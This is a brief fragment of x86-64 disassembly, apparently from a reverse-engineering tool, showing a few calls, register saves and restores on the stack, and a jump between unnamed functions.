call fcn.00435c20
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00461da0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004157e0